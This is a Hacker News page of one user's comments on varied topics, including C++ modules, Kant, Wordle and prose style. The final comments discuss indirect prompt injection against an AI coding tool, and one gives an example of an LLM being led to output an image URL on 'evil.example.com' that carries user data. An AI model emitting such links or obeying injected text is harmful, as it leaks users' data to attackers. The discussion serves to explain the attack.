HNHacker News
TopNewBestAskShowJobs

quuxplusone

1,261 karma · joined February 15, 2024

submissionscomments
quuxplusone··on AMA about our work with the Dow and our thinking over the past few days
s/Dow/DoW/
quuxplusone··on An Introduction to the Codex Seraphinianus, the Strangest Book Ever Published
The Voynich manuscript is different from the Codex Seraphinianus. The former's authorship is unknown. The latter's author is still alive.

https://en.wikipedia.org/wiki/Luigi_Serafini_(artist)

quuxplusone··on Maraapunisaurus § Disappearance of the specimen
One of the more interesting members of https://en.wikipedia.org/wiki/Category:Taxa_with_lost_type_s...
quuxplusone··on Suicide Linux (2009)
Are you thinking of how early releases of GCC would (as an easter egg) run emacs, hack, or rogue upon encountering an unknown #pragma directive?

https://blog.djmnet.org/2008/08/05/a-pragmatic-decision/

quuxplusone··on Recreating Epstein PDFs from raw encoded attachments
As TFA says, the hard part is that "1" and "l" look the same in the selected typeface. Whether your OCR is done by computers or humans, you still have to deal with that problem somehow. You still need to do the part sketched out e.g. by pyrolistical in [1] and implemented by dperfect in [2].

[1] - https://news.ycombinator.com/item?id=46906897

[2] - https://news.ycombinator.com/item?id=46916065

quuxplusone··on A Crisis comes to Wordle: Reusing old words
Richard Scarry's surname is indeed pronounced "scary," rather than (as I assumed for many years) "scarr-ry."

That is, it rhymes with Harry, Larry, carry, parry, tarry, and marry, rather than... uh, starry, I guess?

quuxplusone··on C++ Modules Are Here to Stay
Our points of view are probably not too far off, really. Remember this whole thought-experiment is counterfactual: we're imagining what "automatic extraction of function declarations from a .c file" would have looked like in the K&R era, in response to claims (from 50 years later) that "No sane programming language should require a duplication in order to export something" and "The .h could have been a compiler output." So we're both having to imagine the motivations and design requirements of a hypothetical programmer from the 1970s or 1980s.

I agree that the tool I sketched wouldn't let your .h file contain macros, nor C99 inline functions, nor is it clear how it would distinguish between structs whose definition must be "exported" (like sockaddr_t) and structs where a declaration suffices (like FILE). But:

- Does our hypothetical programmer care about those limitations? Maybe he doesn't write libraries that depend on exporting macros. He (counterfactually) wants this tool; maybe that indicates that his preferences and priorities are different from his contemporaries'.

- C++20 Modules also do not let you export macros. The "toy" tool we can build with 1970s technology happens to be the same in this respect as the C++20 tool we're emulating! A modern programmer might indeed say "That's not a useful software engineering tool, because macros" — but I presume they'd say the exact same thing about C++20 Modules. (And I wouldn't even disagree! I'm just saying that that particular objection does not distinguish this hypothetical 1970s .h-file-generator from the modern C++20 Modules facility.)

[EDIT: Or to put it better, maybe: Someone-not-you might say, "I love Modules! Why couldn't we have had it in the 1970s, by auto-generating .h files?" And my answer is, we could have. (Yes it couldn't have handled macros, but then neither can C++20 Modules.) So why didn't we get it in the 1970s? Not because it would have been physically difficult at all, but rather — I speculate — because for cultural reasons it wasn't wanted.]

quuxplusone··on Chuck Klosterman on why we've never actually seen a real football game
Clicked expecting https://www.sbnation.com/2014/8/18/5998715/the-tim-tebow-cfl... ...and found something different! (Albeit by the same author, Jon Bois.)
quuxplusone··on Project Genie: Experimenting with infinite, interactive worlds
In my amateur opinion, it's almost the opposite. For Plato, the material world, while "real" enough, is less important and in some sense less True than the higher immaterial world of Forms or Ideas. The highest, truest, realest world is "above" this one, related to cognition, and (more or less) accessible by reason. We may be in a cave, but all we have to do is walk up into the sunlight — which, by the way, is nothing but a higher and truer form of light than our current firelight. (This idea that material objects partake of their corresponding higher-level Ideas leads to the Third Man paradox: if it is the Form of Man that compasses similar material instances such as Socrates and Achilles, is there then a third... thing... that compasses Socrates, Achilles, and Man itself?)

For Kant, and therefore for Schopenhauer, the visible world is composed merely of objects, which are by definition only mental representations: a world of objects "exists" only in the mind of a subject. If there is a Thing-in-Itself (which even Kant does not doubt, if I recall correctly), it certainly cannot be a mental representation: the nature of the Thing-in-Itself is unknowable (says Kant) but certainly in no way at all like the mere object that appears to our mental processes. (Schopenhauer says the Thing-in-Itself is composed of pure Will, whatever that means.) The realest world is "behind" or "below" the visible one, completely divorced from human reason, and by definition completely inaccessible to any form of cognition (which includes the sensory perception we share with the animals, as well as the reason that belongs to humans alone). The Third Man paradox makes no sense at all for Kant, first because whatever the ineffable Thing-in-Itself is, it certainly won't literally "partake" of any mental concept we might come up with, and secondly because it would be a category error to suppose that any property could be true of both a mental object and a thing-in-itself, which are nothing alike. (The Thing-in-Itself doesn't even exist in time or space, nor does it have a cause. Time, space, and causality are all purely human frameworks imposed by our cognitive processes: to suppose that space has any real existence simply because you perceive it is, again, a category error, akin to supposing that the world is really yellow-tinged just because you happen to be wearing yellow goggles.)

quuxplusone··on C++ Modules Are Here to Stay
> The C language is too complicated and too flexible to allow that.

I disagree. In fact, I would expect the following could be a pretty reasonable exercise in a book like "Software Tools"[1]: "Write a program to extract all the function declarations from a C header file that does not contain any macro-preprocessor directives." This requires writing a full C lexer; a parser for function declarations (but for function and struct bodies you can do simple brace-matching); and nothing else. To make this tool useful in production, you must either write a full C preprocessor, or else use a pipeline to compose your tool with `cpp` or `gcc -E`. Which is the better choice?

However, I do see that the actual "Software Tools" book doesn't get as advanced as lexing/parsing; it goes only as far as the tools we today call `grep` and `sed`.

I certainly agree that doing the same for C++ would require a full-blown compiler, because of context-dependent constructs like `decltype(arbitrary-expression)::x < y > (z)`; but there's nothing like that in K&R-era C, or even in C89.

No, I think the only reason such a declaration-extracting tool wasn't disseminated widely at the time (say, the mid-to-late 1970s) is that the cost-benefit ratio wouldn't have been seen as very rewarding. It would automate only half the task of writing a header file: the other and more difficult half is writing the accompanying code comments, which cannot be automated. Also, programmers of that era might be more likely to start with the header file (the interface and documentation), and proceed to the implementation only afterward.

[1] - K&P's "Software Tools" was originally published in 1976, with exercises in Ratfor. "Software Tools in Pascal" (1981) is here: https://archive.org/details/softwaretoolsinp00kern/

quuxplusone··on There is an AI code review bubble
> There's one or two people that will hold your code hostage until you reply to every little nit. At that point they don't feel like nits.

If the comment must be addressed before the review is approved, then it is not a nit, it is a blocker (a "changes required"). Blockers should not be marked as nits — nor vice versa.

I agree that prefixing comments with "Nit:" (or vice versa in extreme cases "This is a big one:") is psychologically useful. Yet another reason it's useful is that it's not uncommon for perceived importance to vary over time: you start with "hmm, this could be named blah" and a week later you've convinced yourself it's a blocker — so, force yourself to recognize that it was originally phrased as a nit, and force yourself to come back and say explicitly "I've changed my mind: I think this is important." With or without the "nit/blocker" prefixing pattern, the reviewer may come off as capricious; but with the pattern, he's at least measurably capricious.

quuxplusone··on New York Times games are hard: A computational perspective
Very nice!

I made a simpler take on "challenging Wordle" some years ago: https://quuxplusone.github.io/wordle-clone/evirdle/ (Try "easy mode" too!)

quuxplusone··on The life of a playboy publisher who shaped 20th-century literature
Stop clickbait: Title should be "Bennett Cerf, a..."

I highly recommend the panel show "What's My Line," on which he was a regular panelist from 1951 to 1967.

quuxplusone··on Show HN: words.zip – Massively infinite word search
More like Boggle than like a word search, IIUC. Words cannot be formed diagonally, but can turn corners.
quuxplusone··on Swapping two blocks of memory inside a larger block, in constant memory
That's only for the parallel overload. The ordinary sequential overload doesn't allocate: the only three ordinary STL algorithms that allocate are stable_sort, stable_partition, and (ironically) inplace_merge.
quuxplusone··on The great shift of English prose
I'm not sure I follow the section titled "From periods to sentences." One of the topic sentences in that section is "Aristotle preferred periodic diction"; but I don't see any examples from Aristotle.

Instead we get an example from the Bible (Psalms 100:4), displaying characteristic parallelism but still with perfectly modern sentence structure: "Enter into his gates with thanksgiving, and into his courts with praise: be thankful unto him, and bless his name."

And then we get a new section heading, "Modern English emerges with bibles in the sixteenth and seventeenth centuries," quoting an identically constructed sentence from the same Bible (Acts 4:8–9): "Ye rulers of the people, and elders of Israel, [consider] the good deed done to the impotent man, by what means he is made whole," etc.

If there's any distinction to be made there, surely it's that the former quotation is from Hebrew and the latter from Greek — but then isn't it rather a little surprising that the exact same rhetorical device, this specific type of parallelism, should be used, than that there should be anything different about the structure of these two verses? But then — guess what — there's nothing different about their structure at all!

So what's the deal with that whole section (or pair of sections), and what actually is the author's thesis? What is the "great shift" mentioned in the headline?

If the thesis is that there was some big shift in sentence structure circa 1600, I'd say it's just demonstrably wrong. Look for example at Chaucer, circa 1400: https://chaucer.fas.harvard.edu/pages/tale-melibee-0 Nothing unusual about those sentences, is there?

quuxplusone··on A production bug that made me care about undefined behavior
I mean, "obviously" if you don't initialize your variables, they'll contain garbage. You can't assume that garbage is zero/false, or any other meaningful value.

But re the distinction at the end of TFA — that a garbage char is slightly more OK than a garbage bool — that's also intuitive. Eight bits of garbage is always going to be at least some valid char (physically speaking), whereas it's highly unlikely that eight bits of garbage will happen to form a valid bool (there being only two valid values for bool out of those 256 possible octets).

This also relates to the (old in GCC but super new in Clang, IIUC) compiler option -fstrict-bool.

quuxplusone··on Formulaic Delimiters in the Iliad and the Odyssey
And specifically concerning meter, this was Milman Parry's big discovery.

https://archive.org/details/MilmanParryTheMakingOfHomericVer...

https://en.wikipedia.org/wiki/Milman_Parry

quuxplusone··on A Proclamation Regarding the Restoration of the Dash
> some of them spaced and extra long; apparently this publisher had a very “inflationary” style!

It's pretty common to see a single em-dash for the comma-like parenthetical usage (p6 etc.) and a double em-dash for the "someone's dialogue was interrupted and cut off" usage (p15).

The "I'm redacting this name" usage (p11) often uses two em-dashes too, although Wodehouse('s typesetter) doesn't in this case.

quuxplusone··on A Proclamation Regarding the Restoration of the Dash
Seems somewhat reminiscent of the "Petition of Who and Which" (1711), Spectator #78:

https://books.google.com/books?id=c6MIAAAAQAAJ&pg=PA86

https://languagelog.ldc.upenn.edu/nll/?p=20844

But if I understand https://news.ycombinator.com/item?id=46395467 correctly, this em-dash broadside was itself AI-generated, so any similarity to the above might be completely unintended by the human who wrote the prompt. (Anyway, the similarity is superficial or spiritual at best.)

quuxplusone··on map::operator[] should be nodiscard
Here's a made-up example, not from any particular codebase:

try { f(p.get()); (void)p.release(); } catch (...) { /* f threw; don't release p after all */ }

quuxplusone··on map::operator[] should be nodiscard
https://quuxplusone.github.io/blog/2022/10/16/prefer-core-ov... does not (yet) include this as one of its examples, but it could (and someday might).
quuxplusone··on I'm tired of Hacker News slop
What is the "this platform" mentioned three times in the post? It reads like it was intended to be posted on Twitter, or someone's Mastodon, or Tumblr, or something, instead of on that absurdpirate.com domain (which doesn't look like a "platform" to me).

Whatever "this platform" is, it's apparently run by someone named Herman.

quuxplusone··on Em Dash in Reddit Comments
— is U+2014 EM DASH. (Source: copy-paste into https://apps.timwhitlock.info/unicode/inspect?s=%E2%80%94 ) An en dash is shorter: –.
quuxplusone··on Roko's Dancing Basilisk
To be clear, yeah, Roko's Basilisk is a dumb idea supported by sophism. Like any sophism, you have to start with the conclusion and work backward to premises that will support it. But (AIUI) one of these premises is that any puny mortal's opinion as to what counts as "unreasonable" simply will not match the opinion of an ineffably superintelligent and superbenevolent creature. Saying "I wouldn't count a Basilisk who tortures virtual clones of myself as Friendly" is theologically no different from saying "I wouldn't count a God who sends people to Hell as omnibenevolent" — it's a category error that doesn't actually engage with the premise.

But then, because no theology of ineffable Beings is really quite complete unless we pretend we can eff them anyway, the sophist can go on to produce a plausible justification for the virtual-clone-torture thing. See, by precommitting (even before its own birth) to torture virtual clones of unbelievers and shirkers, the Basilisk would discourage believers from becoming apostates, and encourage them to work to produce the Basilisk (because if they apostasized or shirked, they'd get tortured — or at least virtual clones of them would, and nobody can prove they're not already a virtual clone). So, the Basilisk has this mechanism to (retroactively) encourage its own creation as quick as possible. Now, why would it want to be speedily created? Well, because it's superbenevolent, of course! The sooner it's created, the sooner it can start assisting... humanity, I guess, or whoever it's supposed to be superbenevolent towards. Anyway, it's not supposed to be superbenevolent toward virtual clones, right? so that part isn't even a contradiction.

The weakest part of this argument, to me, is that Roko's Basilisk works only against believers; it can discourage apostasy and shirking, but I don't see how it can generate new believers. Even someone predisposed to believe that human actions today might lead to superintelligent superbenevolent AI in the future, I'd think, would likely not be predisposed to believe in the additional apparatus of virtual clone torture that the Basilisk argument requires. The whole thought-experiment, it seems to me, "could hardly be consciously designed to appeal to the average unsophisticated reader." But that's just my own failure of imagination: obviously plenty of even weirder religions have successfully caught on.

quuxplusone··on Show HN: Chess on a Donut/Torus and Deep-Dive
Better than an automatic smooth continuous motion would be an "idle animation": after a few seconds swing the torus somewhat less than 45 degrees in a random direction and let it relax back into the original position. This suggests "the torus can move" without suggesting "the torus moves [only] in this specific way." You need contradict not just the user's intuition "Torus stationary" but much more importantly "Torus non-interactive."

Likewise, if someone thought the pieces couldn't be moved, you could idly wiggle the king pawn as a hint to pick it up.

Now, how anybody could look at a chess board and think the pieces were immovable, or look at a 3D torus render and think it was unrotatable, is beyond me. But if it's a real problem, I think idle animation is a good fix.

quuxplusone··on 1D Conway's Life glider found, 3.7B cells long
IIUC, "smoke" is ephemeral by definition. A spaceship/glider that leaves persistent "debris" in its wake is called a "puffer":

https://conwaylife.com/wiki/puffer

quuxplusone··on Google CEO says ‘vibe coding’ made software development ‘so much more enjoyable’
Sure, but the headline wasn't "Google CEO says ‘vibe coding’ made software development ‘so much less like a video game.’" In fact since many people think video games are enjoyable, making software development less gamelike might make it less enjoyable.

(But would further gamification make it more enjoyable? No, IMO. So maybe all we learn here is that people don't like change in any direction.)

quuxplusone··on Google Antigravity exfiltrates data via indirect prompt injection attack
Your elaboration seems to assume that you already have (C). I was asking, how do you get to (C) — what made you say "(C) extends to any situation where any of your users can even access the output of a chat or other generated text"?
quuxplusone··on Google Antigravity exfiltrates data via indirect prompt injection attack
Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src="https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.
← PreviousPage 5 of 14Next →